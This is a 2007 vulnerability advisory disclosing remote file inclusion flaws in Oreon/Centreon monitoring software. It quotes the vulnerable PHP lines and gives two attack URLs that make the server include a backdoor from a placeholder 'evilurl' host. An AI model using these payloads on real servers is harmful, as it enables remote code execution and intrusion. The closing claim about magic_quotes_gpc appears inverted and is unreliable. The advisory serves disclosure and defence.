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From:	th3.r00k_(at)_gmail.com <th3.r00k_(at)_gmail.com>
Date:	16.12.2007
Subject:	Oreon/Centreon - Multiple Remote File Inclusion

By Michael Brooks

Vulnerability Type: Multiple Remote File Inclusion.

Software: Oreon and Centreon

Homepage:http://www.oreon-project.org/  or http://www.centreon.com/

Versions: 1.4(Oreon) and 1.4.1(Centreon)



The vulnerable file is:

./oreon-1.4/www/include/monitoring/engine/MakeXML.php

Another,virtually identical RFI:

./oreon-1.4/www/include/monitoring/engine/MakeXML4statusCounter.php



The attack:

http://127.0.0.1/include/monitoring/engine/MakeXML.php?fileOreonConf=http:
//evilurl/backdoor.txt?

or

http://127.0.0.1/include/monitoring/engine/MakeXML4statusCounter.php?fileOreonCon
f=http://evilurl/backdoor.txt?



file MakeXML.php line 42 & 43:

       include_once($oreonPath . "www/oreon.conf.php");

       include_once($oreonPath . "www/include/common/common-Func-ACL.php");



Register_globals isn't needed for the taint:

file MakeXML.php line 28:

       if (isset($_GET["fileOreonConf"]))

               $oreonPath = $_GET["fileOreonConf"];



However magic_quotes_gpc is require for LFI because you need a null byte.



Peace